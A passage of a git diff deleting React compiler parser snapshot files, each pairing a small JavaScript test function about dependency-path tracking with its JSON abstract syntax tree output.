-                      "range": [
-                        244,
-                        253
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        254,
-                        255
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      244,
-                      255
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      256,
-                      257
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    244,
-                    257
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    258,
-                    259
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  244,
-                  259
-                ]
-              },
-              "loc": null,
-              "range": [
-                238,
-                259
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              238,
-              260
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                270,
-                271
-              ]
-            },
-            "loc": null,
-            "range": [
-              263,
-              272
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          182,
-          274
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        130,
-        274
-      ],
-      "loc": null,
-      "range": [
-        130,
-        274
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    130,
-    274
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-nonoverlap-direct.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-nonoverlap-direct.js.snap
deleted file mode 100644
index de947b849658..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-nonoverlap-direct.js.snap
+++ /dev/null
@@ -1,321 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-nonoverlap-direct.js
----
-Input:
-// Test that we can track non-overlapping dependencies separately.
-// (not needed for correctness but for dependency granularity)
-function TestNonOverlappingTracked(props) {
-  let x = {};
-  x.b = props.a.b;
-  x.c = props.a.c;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestNonOverlappingTracked",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          139,
-          164
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            165,
-            170
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    180,
-                    181
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    184,
-                    186
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  180,
-                  186
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              176,
-              187
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    190,
-                    191
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    192,
-                    193
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  190,
-                  193
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      196,
-                      201
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      202,
-                      203
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    196,
-                    203
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    204,
-                    205
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  196,
-                  205
-                ]
-              },
-              "loc": null,
-              "range": [
-                190,
-                205
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              190,
-              206
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    209,
-                    210
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    211,
-                    212
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  209,
-                  212
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      215,
-                      220
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      221,
-                      222
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    215,
-                    222
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    223,
-                    224
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  215,
-                  224
-                ]
-              },
-              "loc": null,
-              "range": [
-                209,
-                224
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              209,
-              225
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                235,
-                236
-              ]
-            },
-            "loc": null,
-            "range": [
-              228,
-              237
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          172,
-          239
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        130,
-        239
-      ],
-      "loc": null,
-      "range": [
-        130,
-        239
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    130,
-    239
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-overlap-descendant.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-overlap-descendant.js.snap
deleted file mode 100644
index e8d521caaac7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-overlap-descendant.js.snap
+++ /dev/null
@@ -1,474 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-overlap-descendant.js
----
-Input:
-// Test that we correctly track a subpath if the subpath itself is accessed as
-// a dependency
-function TestOverlappingDescendantTracked(props) {
-  let x = {};
-  x.b = props.a.b.c;
-  x.c = props.a.b.c.x.y;
-  x.a = props.a;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestOverlappingDescendantTracked",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          104,
-          136
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            137,
-            142
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    152,
-                    153
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    156,
-                    158
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  152,
-                  158
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              148,
-              159
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    162,
-                    163
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    164,
-                    165
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  162,
-                  165
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        168,
-                        173
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        174,
-                        175
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      168,
-                      175
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      176,
-                      177
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    168,
-                    177
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    178,
-                    179
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  168,
-                  179
-                ]
-              },
-              "loc": null,
-              "range": [
-                162,
-                179
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              162,
-              180
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    183,
-                    184
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    185,
-                    186
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  183,
-                  186
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            189,
-                            194
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            195,
-                            196
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          189,
-                          196
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          197,
-                          198
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        189,
-                        198
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "c",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        199,
-                        200
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      189,
-                      200
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      201,
-                      202
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    189,
-                    202
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    203,
-                    204
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  189,
-                  204
-                ]
-              },
-              "loc": null,
-              "range": [
-                183,
-                204
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              183,
-              205
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    208,
-                    209
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    210,
-                    211
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  208,
-                  211
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    214,
-                    219
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    220,
-                    221
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  214,
-                  221
-                ]
-              },
-              "loc": null,
-              "range": [
-                208,
-                221
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              208,
-              222
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                232,
-                233
-              ]
-            },
-            "loc": null,
-            "range": [
-              225,
-              234
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          144,
-          236
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        95,
-        236
-      ],
-      "loc": null,
-      "range": [
-        95,
-        236
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    95,
-    236
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-overlap-direct.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-overlap-direct.js.snap
deleted file mode 100644
index b137a0a2d56b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-overlap-direct.js.snap
+++ /dev/null
@@ -1,398 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-overlap-direct.js
----
-Input:
-// Test that we correctly track a subpath if the subpath itself is accessed as
-// a dependency
-function TestOverlappingTracked(props) {
-  let x = {};
-  x.b = props.a.b;
-  x.c = props.a.c;
-  x.a = props.a;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestOverlappingTracked",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          104,
-          126
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            127,
-            132
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    142,
-                    143
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    146,
-                    148
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  142,
-                  148
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              138,
-              149
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    152,
-                    153
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    154,
-                    155
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  152,
-                  155
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      158,
-                      163
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      164,
-                      165
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    158,
-                    165
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    166,
-                    167
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  158,
-                  167
-                ]
-              },
-              "loc": null,
-              "range": [
-                152,
-                167
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              152,
-              168
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    171,
-                    172
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    173,
-                    174
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  171,
-                  174
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      177,
-                      182
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      183,
-                      184
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    177,
-                    184
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    185,
-                    186
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  177,
-                  186
-                ]
-              },
-              "loc": null,
-              "range": [
-                171,
-                186
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              171,
-              187
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    190,
-                    191
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    192,
-                    193
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  190,
-                  193
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    196,
-                    201
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    202,
-                    203
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  196,
-                  203
-                ]
-              },
-              "loc": null,
-              "range": [
-                190,
-                203
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              190,
-              204
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                214,
-                215
-              ]
-            },
-            "loc": null,
-            "range": [
-              207,
-              216
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          134,
-          218
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        95,
-        218
-      ],
-      "loc": null,
-      "range": [
-        95,
-        218
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    95,
-    218
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-subpath-order1.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-subpath-order1.js.snap
deleted file mode 100644
index 55e27d952c06..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-subpath-order1.js.snap
+++ /dev/null
@@ -1,417 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-subpath-order1.js
----
-Input:
-// Determine that we only need to track p.a here
-// Ordering of access should not matter
-function TestDepsSubpathOrder1(props) {
-  let x = {};
-  x.b = props.a.b;
-  x.a = props.a;
-  x.c = props.a.b.c;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestDepsSubpathOrder1",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          98,
-          119
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            120,
-            125
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    135,
-                    136
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    139,
-                    141
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  135,
-                  141
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              131,
-              142
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    145,
-                    146
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    147,
-                    148
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  145,
-                  148
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      151,
-                      156
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      157,
-                      158
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    151,
-                    158
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    159,
-                    160
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  151,
-                  160
-                ]
-              },
-              "loc": null,
-              "range": [
-                145,
-                160
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              145,
-              161
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    164,
-                    165
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    166,
-                    167
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  164,
-                  167
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    170,
-                    175
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    176,
-                    177
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  170,
-                  177
-                ]
-              },
-              "loc": null,
-              "range": [
-                164,
-                177
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              164,
-              178
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    181,
-                    182
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    183,
-                    184
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  181,
-                  184
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        187,
-                        192
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        193,
-                        194
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      187,
-                      194
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      195,
-                      196
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    187,
-                    196
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    197,
-                    198
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  187,
-                  198
-                ]
-              },
-              "loc": null,
-              "range": [
-                181,
-                198
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              181,
-              199
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                209,
-                210
-              ]
-            },
-            "loc": null,
-            "range": [
-              202,
-              211
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          127,
-          213
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        89,
-        213
-      ],
-      "loc": null,
-      "range": [
-        89,
-        213
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    89,
-    213
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-subpath-order2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-subpath-order2.js.snap
deleted file mode 100644
index 2a424b8de3a6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-subpath-order2.js.snap
+++ /dev/null
@@ -1,417 +0,0 @@
----
